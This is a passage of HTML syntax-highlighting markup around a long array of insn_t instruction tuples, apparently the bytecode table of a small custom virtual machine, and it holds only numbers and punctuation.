class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">20</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">24</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">20</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">24</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">17</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">18</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">17</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">19</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">24</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">20</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">21</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">22</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">23</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">24</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">17</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">24</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">25</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">26</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">27</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">24</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">24</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">28</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">21</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span 